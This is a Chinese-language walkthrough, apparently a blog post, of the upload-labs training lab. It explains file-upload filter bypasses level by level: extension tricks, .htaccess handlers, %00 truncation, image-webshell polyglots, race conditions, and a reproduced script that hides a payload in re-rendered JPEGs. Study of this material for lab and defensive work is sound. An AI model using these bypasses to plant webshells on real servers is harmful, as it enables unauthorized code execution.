upload-labs通关思路及文件上传总结

目录

 简单说明

 Pass-01

法一

法二

 Pass-02

Pass-03(本题涉及php3的解析,出现的问题)

解决方法

回到正题:

 Pass-04

Pass-05 ,Pass-10

Pass-06 

Pass-07 

 Pass-08

Pass-09

Pass-11

 Pass-12

Pass-13

Pass-14

Pass-15 

Pass-16

Pass-17

Pass-18

 Pass-19

Pass-20

Pass-21 

 总结



 简单说明

顾名思义,文件上传就是利用服务器对上传文件时存在的漏洞来实现上传任意文件,通过自己编写的文件内容让服务器执行文件内容达到可控的目的,但文件的上传往往回有各种各样的过滤,以下将演示upload-labs的关卡:


 Pass-01

upload-labs通关思路及文件上传总结_第1张图片

 上传图片

正常来说是上传一个php文件来让服务器解析执行

但上传php文件

upload-labs通关思路及文件上传总结_第2张图片

只能以这几种格式上传

法一

可以通过抓包后修改文件尾缀来让服务器解析执行

upload-labs通关思路及文件上传总结_第3张图片

 抓包后修改为22.php再放行即可

放行访问一下

upload-labs通关思路及文件上传总结_第4张图片

 成功!

法二

因为本题过滤在前端源码,所以可以尝试下载源码修改再自行访问

下载源代码文本打开

upload-labs通关思路及文件上传总结_第5张图片

 删掉过滤的函数

因为源码里没有指定文件上传的路径所以要自行添加

upload-labs通关思路及文件上传总结_第6张图片

 可见上传的路径为

http://127.0.0.1/upload-labs-master/Pass-01/index.php

将路径写成

action="http://127.0.0.1/upload-labs-master/Pass-01/index.php" 自行添加到下图所示处

upload-labs通关思路及文件上传总结_第7张图片

 保存访问直接上传一句话php文件upload-labs通关思路及文件上传总结_第8张图片

 upload-labs通关思路及文件上传总结_第9张图片

 上传成功访问

upload-labs通关思路及文件上传总结_第10张图片

 成功

另外因为这题是前端扫描,所以还有一种就是关闭浏览器的js


 Pass-02

upload-labs通关思路及文件上传总结_第11张图片

 第二关看源码得知是对文件的类型进行了限制

可以进行抓包,然后对文件的类型修改即可

upload-labs通关思路及文件上传总结_第12张图片

 将此处修改成允许的文件类型(这里是image/png)放行

upload-labs通关思路及文件上传总结_第13张图片

 上传并访问成功!


Pass-03(本题涉及php3的解析,出现的问题)

原因在于搭建upload-labs时用的apache版本问题,确切的说是phpstudy版本问题

 因为在phpstudy8.1的版本里没有apache5.2的版本,全是apache TNS的版本,这些版本不能解析php3,php5等文件

解决方法

所以需要下载phpstudy 2018版本

upload-labs通关思路及文件上传总结_第14张图片

 下载好后再到apache的配置文件

httpd.conf

 在该文件内寻找到如下

upload-labs通关思路及文件上传总结_第15张图片

 修改(或添加)为:

AddType application/x-httpd-php .php .phtml .php3 .php5 .php1

 保存并重启phpstudy即可解决问题

余下就正常在这个版本的phpstudy上搭建upload-labs就可以正常答题了

回到正题:

upload-labs通关思路及文件上传总结_第16张图片

第三关有黑名单禁止了部分文件类型

但过滤不严可以使用别的与php有相同效果的文件尾缀来代替

这里可以使用

php3 php5 phtml等等 

 直接上传一个php3的文件

upload-labs通关思路及文件上传总结_第17张图片

 上传成功!


 Pass-04

 upload-labs通关思路及文件上传总结_第18张图片

过滤了好多的尾缀

就很难再用相同的尾缀绕过了

这里使用配置文件来让上传文件的内容当成php执行

创一个.htaccess文件内容为:


    SetHandler application/x-httpd-php

这里表示用FileMatch来匹配文件,如果匹配到一个"22.png"的文件就将该文件的内容当成php文件执行 

 注意:配置文件.htaccess不能有文件名,如果有就不能解析改配置文件的内容了

 upload-labs通关思路及文件上传总结_第19张图片

 上传配置文件后再上传一个"22.png"的shell文件并访问

upload-labs通关思路及文件上传总结_第20张图片

如果还是不成功就到phpstudy 2018的配置文件中找到

upload-labs通关思路及文件上传总结_第21张图片 修改成all即可


Pass-05 ,Pass-10

 这题连.htaccess也过滤掉了

这里看源代码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

各函数功能:

upload-labs通关思路及文件上传总结_第22张图片

 可以看到这里是先删除文件最后的一个逗号和空格然后再寻找处后的文件名的最后一个逗号,再对该逗号后面(就是文件扩展名)进行变小写再去除::$DATA字符串

做了这样的处理但只处理一次所以可以通过抓包来修改文件名来实现绕过

upload-labs通关思路及文件上传总结_第23张图片

依据上面的处理在.php后多加.%20.(%20是空格)目的是在删除一个逗号和一个空格后让匹配到php后面的逗号使其不能处理php

放行并访问

upload-labs通关思路及文件上传总结_第24张图片


Pass-06 

upload-labs通关思路及文件上传总结_第25张图片

 对比前面的源码少大小写检验

直接上传一个jpg木马然后抓包upload-labs通关思路及文件上传总结_第26张图片

改成大小不一的php文件,要注意不能是黑名单上的如pHp不行 

放包访问图片并在hackbar上post一个参数

a=phpinfo;

upload-labs通关思路及文件上传总结_第27张图片


Pass-07 

观察源码发现在处理尾缀的时候少过滤了空格于是可以抓爆修改文件尾缀

upload-labs通关思路及文件上传总结_第28张图片

 加一个空格,在最后与黑名单比对时就不会匹配上从而实现绕过

最后放包访问

upload-labs通关思路及文件上传总结_第29张图片

 Pass-08

与上一题差不多,只是少了过滤最后的一点

抓包修改为php. 

upload-labs通关思路及文件上传总结_第30张图片

 放包访问

upload-labs通关思路及文件上传总结_第31张图片


Pass-09

 对比上一题少了对特殊字符::$DATA的过滤

还是抓包修改文件尾缀

upload-labs通关思路及文件上传总结_第32张图片

 在尾缀后面添加::$DATA

放包,访问

注意访问的是 

upload/202305041341535938.php

而不是

upload/202305041341535938.php::$data 

upload-labs通关思路及文件上传总结_第33张图片


Pass-11

 upload-labs通关思路及文件上传总结_第34张图片

 本题核心在于

$file_name = str_ireplace($deny_ext,"", $file_name);

 该函数

upload-labs通关思路及文件上传总结_第35张图片

 本函数会对需查找的函数进行多次替换,按理来说是不能用双写绕过的

upload-labs通关思路及文件上传总结_第36张图片

但本题替换的内容是没有的,所以可以双写绕过

因为没有了对尾缀的处理所以直接上传shell.pphphp 访问

 upload-labs通关思路及文件上传总结_第37张图片


 Pass-12

 

 明显是白名单绕过

这里意思是对上传的文件进行比对不属于白名单内的直接上传失败但主要是

$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

中的

$_GET['save_path']

是可控的,于是抓包修改路径

upload-labs通关思路及文件上传总结_第38张图片

 %00是用于阻断,当读取文件上传路径的时候遇到%00当成结束符,相当于是上传了22.php


Pass-13

 本题对比上一题是post传参

post传参不会自动解码,所以要手动解码 

upload-labs通关思路及文件上传总结_第39张图片 在此处写上22.php%00然后对%00选中右键对%00进行URL解码

放包,访问22.php

upload-labs通关思路及文件上传总结_第40张图片


Pass-14

 upload-labs通关思路及文件上传总结_第41张图片

 白名单是文件头,所以要使用图片马来实现绕过

这里的图片马不是单纯的将txt改jpg,这样是得不到jpg的文件头的,因此需要用图片和php文件进行合成成图片马

合成方法:

 首先是先创建一个文件夹,里面放一个张图片和一句话php(建议不要直接放在桌面)

在该文件内打开终端输入

copy aa.gif/b + bb.php shell.gif

 但会出现

 Copy-Item : 找不到接受实际参数“bb.php”的位置形式参数。

 原因在于一些powershell与cmd的命令不同

需要通过cmd/c调用cmd.exe中的copy即可

cmd /c 'copy aa.gif/b + bb.php shell.gif'

upload-labs通关思路及文件上传总结_第42张图片 这样shell.gif就生成在文件内了

后面直接上传图片马,复制图片链接

upload-labs通关思路及文件上传总结_第43张图片

 点击进入看到存在文件包含

 upload-labs通关思路及文件上传总结_第44张图片

 输入:

?file=upload/7520230504125003.jpg

 但输入后出现

Warning: Unexpected character in input:

这是apache版本低于5.3导致的

到phpstudy 2018中更改版本即可

upload-labs通关思路及文件上传总结_第45张图片


Pass-15 

upload-labs通关思路及文件上传总结_第46张图片 这题与上一题没多大区别就除了运用了一个函数

$info = getimagesize($filename);

getimagesize()函数将测定任何GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM或WBMP图像文件的大小并返回图像的尺寸以及文件类型和一个可以用于普通HTML文件中标记中的 height/width 文本字符串

 大概意思就是利用检测文件头来判断上传的文件是不是图像文件

同样是利用上传图片马和文件包含漏洞

upload-labs通关思路及文件上传总结_第47张图片


Pass-16

upload-labs通关思路及文件上传总结_第48张图片

exif_imagetype()函数:读取一个图像的第一个字节并检查其签名,如果发现恰当的签名返回一个对应的常量,否则返回false。

一样都是检查文件头,同样的方法,这里可参考Pass-14解法

 要注意的是:

需开启php_exif模块,到phpstudy中的配置文件---php.ini

 去除着两行前面的分号,并让extension=php_mbstring.dllextension=php_exif.dll的上方使其先加载,再去除[exif]段下面的全部分号

upload-labs通关思路及文件上传总结_第49张图片

 之后重启phpstudy就行了

后面上传步骤参考Pass-14


Pass-17

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
    // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];

    $target_path=UPLOAD_PATH.'/'.basename($filename);

    // 获得上传文件的扩展名
    $fileext= substr(strrchr($filename,"."),1);

    //判断文件后缀与类型,合法才进行上传操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromjpeg($target_path);

            if($im == false){
                $msg = "该文件不是jpg格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagejpeg($im,$img_path);
                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }

    }else if(($fileext == "png") && ($filetype=="image/png")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefrompng($target_path);

            if($im == false){
                $msg = "该文件不是png格式的图片!";
                @unlink($target_path);
            }else{
                 //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".png";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagepng($im,$img_path);

                @unlink($target_path);
                $is_upload = true;               
            }
        } else {
            $msg = "上传出错!";
        }

    }else if(($fileext == "gif") && ($filetype=="image/gif")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromgif($target_path);
            if($im == false){
                $msg = "该文件不是gif格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".gif";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagegif($im,$img_path);

                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }
    }else{
        $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
    }
}

分析代码得知:

imagecreatefromgif()这个函数---从 GIF 文件或 URL 新建一图像

 先看gif是二次渲染,会对上传的gif进行重新渲染生成一个新的giff并重名名,最后再上传新的gif到服务器

先看看正常操作把图片马上传,成功但访问后不会被执行

将图片下载下来,发现我们写的一句话没了

upload-labs通关思路及文件上传总结_第50张图片这个为上传后的图片

 放到16进制编辑器里做对比

这里用010中的工具--对比文件

upload-labs通关思路及文件上传总结_第51张图片

 经过无数次尝试,大概在这个区域(还有00比较多的哪个区域)替换成一句话语句上传并访问是成功的,有些地方在渲染后会被篡改

upload-labs通关思路及文件上传总结_第52张图片

 到png的修改

这里使用国外大佬写的脚本:


 脚本写在这里面,在该www目录下的终端运行

 得到图片1.png

upload-labs通关思路及文件上传总结_第53张图片

 上传后访问

upload-labs通关思路及文件上传总结_第54张图片

 get和post传参上去都无反应,鄙人才浅有懂的师傅可以留言

 jpg

 还是使用国外脚本



    In case of successful injection you will get a specially crafted image, which should be uploaded again.

    Since the most straightforward injection method is used, the following problems can occur:
    1) After the second processing the injected data may become partially corrupted.
    2) The jpg_payload.php script outputs "Something's wrong".
    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

    Sergey Bobrov @Black2Fan.

    See also:
    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

    */

    $miniPayload = "";


    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
        die('php jpg_payload.php ');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

这里是在phpstudy的WWW目录下运行脚本

首先向服务器上传一张jpg,将渲染过后的jpg下载到WWW目录中

这里用的php版本尽量高,不然运行不了

upload-labs通关思路及文件上传总结_第55张图片

 生成的图片上传服务器,并访问

注意这里的apache的版本用5.4是不行的,用5.2才可以

upload-labs通关思路及文件上传总结_第56张图片


Pass-18

本关是先是对上传的文件放到临时文件中并对其扩展名进行检查,若符合就对文件重命名并上传,若不符合则删除文件

这种情况因为会对文件进行临时存储才检查,我们就可以在储存后但未进行检查的时候访问该文件,让文件内容执行就可以实现任意文件执行,要抓准时机很难但可以用抓包来模拟10000人尝试就有可能实现。

首先写一个在访问到瞬间就执行让一句话马写入服务器的php

fputs ($a,'');
?>

 在访问时执行:创建一个test.php的文件并往里面写指定内容

 上传该文件并抓包

upload-labs通关思路及文件上传总结_第57张图片

将抓到的包发往intruder攻击器 

 再到服务器抓取一个访问该文件的数据包并发往攻击器

upload-labs通关思路及文件上传总结_第58张图片

 对上传的数据包添加一个攻击位置

upload-labs通关思路及文件上传总结_第59张图片

 对访问数据包也设置一个

upload-labs通关思路及文件上传总结_第60张图片

 两个包都把payload类型设为数值并为1到10000,线程数改成20左右

upload-labs通关思路及文件上传总结_第61张图片 开始攻击

upload-labs通关思路及文件上传总结_第62张图片

 可以发现访问数据包中出现200回显,并出现warning画面,说明已经成功访问到了webshell.php

还可以到目录先查看文件

upload-labs通关思路及文件上传总结_第63张图片

 发现上传成功了,之后就是直接访问test.php即可

upload-labs通关思路及文件上传总结_第64张图片


 Pass-19

 本关文件上传的路径出现了问题需要对本关的文件修改一下

到Pass-19目录找到myupload.php

 按下图修改

upload-labs通关思路及文件上传总结_第65张图片 保存重启一下即可正常答题

回到正题:

本题代码很长需要慢慢分析

require_once("./myupload.php");

 这个是一次性包含,在当前文件引入myupload.php

$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);

 将文件名,临时路径,大小等参数传入到myupload方法中

class MyUpload{
......
......
...... 
  var $cls_arr_ext_accepted = array(
      ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
      ".html", ".xml", ".tiff", ".jpeg", ".png" );

......
......
......  
  /** upload()
   **
   ** Method to upload the file.
   ** This is the only method to call outside the class.
   ** @para String name of directory we upload to
   ** @returns void
  **/
  function upload( $dir ){
    
    $ret = $this->isUploadedFile();//是否为上传文件
    
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->setDir( $dir );
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkExtension();//检查文件扩展名
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkSize();//检查文件大小
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }
    
    // if flag to check if the file exists is set to 1
    
    if( $this->cls_file_exists == 1 ){
      
      $ret = $this->checkFileExists();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }

    // if we are here, we are ready to move the file to destination

    $ret = $this->move();//移动文件
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }

    // check if we need to rename the file

    if( $this->cls_rename_file == 1 ){
      $ret = $this->renameFile();//重命名
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }
    
    // if we are here, everything worked as planned :)

    return $this->resultUpload( "SUCCESS" );
  
  }

 myupload方法对传入的参数进行的检查

可发现先是对文件后缀进行检查再上传临时文件最后才重命名

 既然出现先上传再命名就可以使用条件竞争来实现绕过,至于前面对文文件的尾缀检查因为没有可控路径,所以只能利用apache特性的解析漏洞。

apache解析特性:

一个是可执行文件.htaccess

另一个是apache解析文件尾缀不是从左到右的而是从右到左,且读取过程中遇到无法识别的尾缀则会跳过读取下一个尾缀,若是所有后缀都读取完了,此时就会把该文件当做默认类型进行处理了,一般来说,默认类型是text/plain。

 详细的apache特性可以参考这位博主的博客

(1条消息) 文件解析漏洞总结-Apache_apache2.4.7漏洞_Werneror的博客-CSDN博客

 所以我们需要上传的一句话文件尾缀最后是白名单上有但apache又无法识别的

 白名单有rar和7z两个尾缀是apache无法识别的

所以上传以这两个为末尾的尾缀文件并抓包

upload-labs通关思路及文件上传总结_第66张图片

 这里使用rar上传并抓包,之后就与18关一样的操作了

upload-labs通关思路及文件上传总结_第67张图片

 因为本关代码很长,所以时间间隔大成功率很高

upload-labs通关思路及文件上传总结_第68张图片


Pass-20

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = $_POST['save_name'];//可控
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);//获取扩展名

        if(!in_array($file_ext,$deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];//临时路径
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) { 
                $is_upload = true;
            }else{
                $msg = '上传出错!';
            }
        }else{
            $msg = '禁止保存为该类型文件!';
        }

    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

法一:

 分析首先看到的是可控路径,所以抓包用%00截断

upload-labs通关思路及文件上传总结_第69张图片 将%00选中解码再放包访问upload-19.php

upload-labs通关思路及文件上传总结_第70张图片

 法二:

 这里利用move_uploaded_file()函数的一个特性

 当指定路径末尾是/.会被忽略掉

如:a.php/.在解析路径时与a.php一样

 因为本题是先对扩展名检查再调用move_uploaded_file(),所以可以在此之前利用/.来绕过黑名单

 upload-labs通关思路及文件上传总结_第71张图片

 上传成功并访问

upload-labs通关思路及文件上传总结_第72张图片


Pass-21 

 分析代码:

$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
    //检查上传文件的MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
        $msg = "禁止上传该类型文件!";
    }else{
        //检查文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];//输入文件名
        if (!is_array($file)) {//判断文件是否为数组
            $file = explode('.', strtolower($file));
        }

        $ext = end($file);//取数组最后元素
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {//数组最后元素对比白名单
            $msg = "禁止上传该后缀文件!";
        }else{
            $file_name = reset($file) . '.' . $file[count($file) - 1];//拼接文件名
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;//拼接文件路径
            if (move_uploaded_file($temp_file, $img_path)) {//对比文件路径
                $msg = "文件上传成功!";
                $is_upload = true;
            } else {
                $msg = "文件上传失败!";
            }
        }
    }
}else{
    $msg = "请选择要上传的文件!";
}
reset($file)     //将数组指针重新指到第一个
count($file)        //计算数组元素的个数,若某一元素为空则不算个数

 前面对上传的文件进行MIME判断,用图片马绕过

 在对文件名进行检查前对文件名进行是否为数组的判断,很明显我们输入的是字符串哪为什么还要进行判断呢?在判断不是后就对文件名进行拆分并分别放入数组元素中,对数组最后元素(正常就是对文件扩展名)进行白名单判断。

很明显拆分阻止了我们使用阻断的方式绕过白名单,哪我们输入的就不能被拆分所以就要使得判断的时候是数组

 上传一个图片马并抓包

upload-labs通关思路及文件上传总结_第73张图片

(1) 如图修改将上传的字符串改成数组,这样检测的时候就绕过拆分

(2)再白名单检查的时候是取数组最后元素,最后元素的是png所以通过测试

(3)到计算数组的个数时因为第二元素为空不计为个数,所以count()返回个数为2

$file_name = reset($file) . '.' . $file[count($file) - 1];

2-1=1,所以就相当于是在22.php后面加多一个  .

 windows在文件上传的时候路径最后的点会被剔除,故而上传的是22.php

 放包并访问

upload-labs通关思路及文件上传总结_第74张图片


 总结

 upload-labs通关思路及文件上传总结_第75张图片

 upload-labs通关思路及文件上传总结_第76张图片

 参考:

 IIS6.0容器之解析漏洞复现_iis解析漏洞复现_Louisnie的博客-CSDN博客

Nginx中的解析漏洞整理_nginx错误解析漏洞的正确解析方式_「已注销」的博客-CSDN博客

文件解析漏洞总结-Apache_apache2.4.7漏洞_Werneror的博客-CSDN博客 

你可能感兴趣的:(web,php,web)